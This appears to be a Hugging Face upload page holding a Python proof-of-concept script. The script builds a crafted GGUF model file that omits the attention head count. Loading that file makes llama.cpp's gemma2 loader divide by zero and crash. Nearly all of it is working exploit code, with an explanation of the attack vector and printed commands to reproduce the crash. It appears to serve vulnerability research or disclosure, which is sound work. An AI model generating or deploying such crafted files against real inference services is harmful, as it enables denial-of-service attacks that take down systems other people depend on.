Upload poc_gemma2_divzero.py with huggingface_hub
Browse files- poc_gemma2_divzero.py +178 -0
poc_gemma2_divzero.py
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| 1 |
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#!/usr/bin/env python3
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"""
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| 3 |
+
PoC: Integer division-by-zero (SIGFPE / UB) in llama.cpp gemma2 architecture loading.
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+
Vulnerability: In src/llama-model.cpp, the LLM_ARCH_GEMMA2 handler computes:
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hparams.f_attention_scale = type == LLM_TYPE_27B
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? 1.0f / std::sqrt(float(hparams.n_embd / hparams.n_head(0)))
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: 1.0f / std::sqrt(float(hparams.n_embd_head_k));
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| 11 |
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When n_layer == 46, the type is set to LLM_TYPE_27B, so the first branch is taken.
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| 12 |
+
If the `attention.head_count` key is omitted from the GGUF file, the n_head_arr
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| 13 |
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stays filled with 0s (from std::fill at line 552), so n_head(0) returns 0.
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| 14 |
+
This makes `hparams.n_embd / hparams.n_head(0)` an integer division by zero.
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+
The guard at line 606 (`if (hparams.n_head() > 0)`) only protects the
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n_embd_head_k calculation, not the architecture-specific code at line 1347.
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+
Platform behavior:
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- x86_64: SIGFPE (hardware trap on integer division by zero), exit code 136
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- ARM64: Silent undefined behavior (ARM SDIV returns 0 for div-by-zero),
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but UBSan catches it and aborts with exit code 134
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| 23 |
+
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| 24 |
+
Attack vector:
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+
1. Set general.architecture = "gemma2"
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| 26 |
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2. Set gemma2.block_count = 46 (triggers LLM_TYPE_27B)
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3. Set gemma2.embedding_length = 4096 (any non-zero value)
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4. Set gemma2.context_length = 8192 (required)
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5. Set gemma2.attention.layer_norm_rms_epsilon = 1e-6 (required for gemma2)
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6. OMIT gemma2.attention.head_count (this is loaded with required=false)
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7. n_head_arr stays all-zero => n_head(0) == 0 => division by zero
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+
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| 33 |
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The crash occurs during load_hparams(), before vocab or tensor loading,
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| 34 |
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so no valid vocabulary or tensor data is needed.
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| 35 |
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| 36 |
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Confirmed UBSan output:
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src/llama-model.cpp:1347:61: runtime error: division by zero
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SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/llama-model.cpp:1347:61
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"""
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import struct
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import os
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# GGUF constants
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| 45 |
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GGUF_MAGIC = b"GGUF"
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GGUF_VERSION = 3
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GGUF_DEFAULT_ALIGNMENT = 32
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| 48 |
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# GGUF KV type constants
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GGUF_TYPE_UINT32 = 4
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GGUF_TYPE_FLOAT32 = 6
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GGUF_TYPE_STRING = 8
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| 55 |
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def write_string(f, s):
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"""Write a GGUF string: uint64 length + chars (no null terminator)."""
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| 57 |
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encoded = s.encode('utf-8')
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| 58 |
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f.write(struct.pack('<Q', len(encoded)))
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| 59 |
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f.write(encoded)
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| 60 |
+
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| 61 |
+
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| 62 |
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def write_kv_string(f, key, value):
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| 63 |
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"""Write a KV pair with string value."""
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| 64 |
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write_string(f, key)
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| 65 |
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f.write(struct.pack('<I', GGUF_TYPE_STRING))
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| 66 |
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write_string(f, value)
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| 67 |
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| 68 |
+
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| 69 |
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def write_kv_uint32(f, key, value):
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| 70 |
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"""Write a KV pair with uint32 value."""
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| 71 |
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write_string(f, key)
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| 72 |
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f.write(struct.pack('<I', GGUF_TYPE_UINT32))
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| 73 |
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f.write(struct.pack('<I', value))
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| 74 |
+
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| 75 |
+
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| 76 |
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def write_kv_float32(f, key, value):
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| 77 |
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"""Write a KV pair with float32 value."""
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| 78 |
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write_string(f, key)
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| 79 |
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f.write(struct.pack('<I', GGUF_TYPE_FLOAT32))
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| 80 |
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f.write(struct.pack('<f', value))
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| 81 |
+
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| 82 |
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| 83 |
+
def create_gemma2_divzero_gguf(output_path):
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| 84 |
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"""Create a GGUF file that triggers integer division-by-zero in gemma2 hparams loading.
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| 85 |
+
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| 86 |
+
The crash occurs in load_hparams() at the LLM_ARCH_GEMMA2 case, before
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| 87 |
+
vocab or tensor loading. So we need:
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| 88 |
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- A valid GGUF v3 header
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| 89 |
+
- The required KV pairs for gemma2 (but NOT attention.head_count)
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| 90 |
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- Zero tensors (the crash happens before tensors are loaded)
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| 91 |
+
"""
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| 92 |
+
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| 93 |
+
n_tensors = 0 # No tensors needed; crash is in hparams loading
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| 94 |
+
n_kv = 5 # Number of KV pairs (see below)
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| 95 |
+
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| 96 |
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with open(output_path, 'wb') as f:
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| 97 |
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# ===== GGUF Header =====
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| 98 |
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f.write(GGUF_MAGIC) # magic: "GGUF"
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| 99 |
+
f.write(struct.pack('<I', GGUF_VERSION)) # version: 3
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| 100 |
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f.write(struct.pack('<Q', n_tensors)) # n_tensors: 0
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| 101 |
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f.write(struct.pack('<Q', n_kv)) # n_kv: 5
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| 102 |
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| 103 |
+
# ===== KV Pairs =====
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| 104 |
+
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| 105 |
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# 1. general.architecture = "gemma2"
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| 106 |
+
# This selects LLM_ARCH_GEMMA2 in load_arch().
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| 107 |
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write_kv_string(f, "general.architecture", "gemma2")
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| 108 |
+
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| 109 |
+
# 2. gemma2.context_length = 8192
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| 110 |
+
# Required (loaded at line 517 with required=true).
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| 111 |
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write_kv_uint32(f, "gemma2.context_length", 8192)
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| 112 |
+
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| 113 |
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# 3. gemma2.embedding_length = 4096
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| 114 |
+
# Required (loaded at line 518 with required=true).
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| 115 |
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# Must be non-zero so that n_embd / n_head(0) is a non-trivial division.
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| 116 |
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write_kv_uint32(f, "gemma2.embedding_length", 4096)
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| 117 |
+
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| 118 |
+
# 4. gemma2.block_count = 46
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| 119 |
+
# Required (loaded at line 520 with required=true).
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| 120 |
+
# 46 layers triggers LLM_TYPE_27B at line 1341, which selects the
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| 121 |
+
# vulnerable code path at line 1347 that divides by n_head(0).
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| 122 |
+
write_kv_uint32(f, "gemma2.block_count", 46)
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| 123 |
+
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| 124 |
+
# 5. gemma2.attention.layer_norm_rms_epsilon = 1e-6
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| 125 |
+
# Required for gemma2 (loaded at line 1334 with required=true).
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| 126 |
+
# This must be present or load_hparams() throws before reaching line 1347.
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| 127 |
+
write_kv_float32(f, "gemma2.attention.layer_norm_rms_epsilon", 1e-6)
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| 128 |
+
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| 129 |
+
# DELIBERATELY OMITTED: gemma2.attention.head_count
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| 130 |
+
# This key is loaded at line 571 with required=false:
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| 131 |
+
# ml.get_key_or_arr(LLM_KV_ATTENTION_HEAD_COUNT, hparams.n_head_arr, hparams.n_layer, false);
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| 132 |
+
# When omitted, n_head_arr stays filled with 0s (from std::fill at line 552).
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| 133 |
+
# Then at line 1347: hparams.n_embd / hparams.n_head(0) = 4096 / 0 => SIGFPE
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| 134 |
+
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| 135 |
+
# ===== Alignment padding =====
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| 136 |
+
# Even with 0 tensors, pad to alignment boundary for spec compliance.
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| 137 |
+
current_pos = f.tell()
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| 138 |
+
aligned_pos = (current_pos + GGUF_DEFAULT_ALIGNMENT - 1) // GGUF_DEFAULT_ALIGNMENT * GGUF_DEFAULT_ALIGNMENT
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| 139 |
+
if aligned_pos > current_pos:
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| 140 |
+
f.write(b'\x00' * (aligned_pos - current_pos))
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| 141 |
+
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| 142 |
+
file_size = os.path.getsize(output_path)
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| 143 |
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print(f"[*] Created: {output_path}")
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| 144 |
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print(f"[*] File size: {file_size} bytes")
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| 145 |
+
print(f"[*]")
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| 146 |
+
print(f"[*] Vulnerability details:")
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| 147 |
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print(f"[*] Architecture: gemma2 (LLM_ARCH_GEMMA2)")
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| 148 |
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print(f"[*] block_count: 46 (triggers LLM_TYPE_27B)")
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| 149 |
+
print(f"[*] embedding_length: 4096")
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| 150 |
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print(f"[*] head_count: OMITTED (stays 0 from std::fill)")
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| 151 |
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print(f"[*]")
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| 152 |
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print(f"[*] Crash location: src/llama-model.cpp:1347")
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| 153 |
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print(f"[*] hparams.n_embd / hparams.n_head(0)")
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| 154 |
+
print(f"[*] = 4096 / 0")
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| 155 |
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print(f"[*] => integer division by zero (UB)")
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| 156 |
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print(f"[*]")
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| 157 |
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print(f"[*] Test with (x86_64 -- deterministic SIGFPE crash):")
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| 158 |
+
print(f"[*] ./build/bin/llama-cli -m {output_path} -p 'hello'")
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| 159 |
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print(f"[*] Expected: SIGFPE, exit code 136")
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| 160 |
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print(f"[*]")
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| 161 |
+
print(f"[*] Test with UBSan (any platform -- clean UB report):")
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| 162 |
+
print(f"[*] cmake -B build-ubsan \\")
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| 163 |
+
print(f"[*] -DCMAKE_C_FLAGS='-fsanitize=undefined -fno-sanitize-recover=all' \\")
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| 164 |
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print(f"[*] -DCMAKE_CXX_FLAGS='-fsanitize=undefined -fno-sanitize-recover=all' \\")
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| 165 |
+
print(f"[*] -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=undefined' \\")
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| 166 |
+
print(f"[*] -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=undefined' \\")
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| 167 |
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print(f"[*] -DGGML_METAL=OFF -DGGML_BLAS=OFF -DGGML_CUDA=OFF")
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| 168 |
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print(f"[*] cmake --build build-ubsan -j$(nproc)")
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| 169 |
+
print(f"[*] ./build-ubsan/bin/llama-completion -m {output_path} -p 'hello'")
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| 170 |
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print(f"[*] Expected: 'runtime error: division by zero', exit code 134")
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| 171 |
+
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| 172 |
+
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| 173 |
+
if __name__ == "__main__":
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| 174 |
+
output_dir = "/Users/eltarne/Documents/script/gguf_poc"
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| 175 |
+
os.makedirs(output_dir, exist_ok=True)
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| 176 |
+
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| 177 |
+
output_path = os.path.join(output_dir, "poc_gemma2_divzero.gguf")
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| 178 |
+
create_gemma2_divzero_gguf(output_path)
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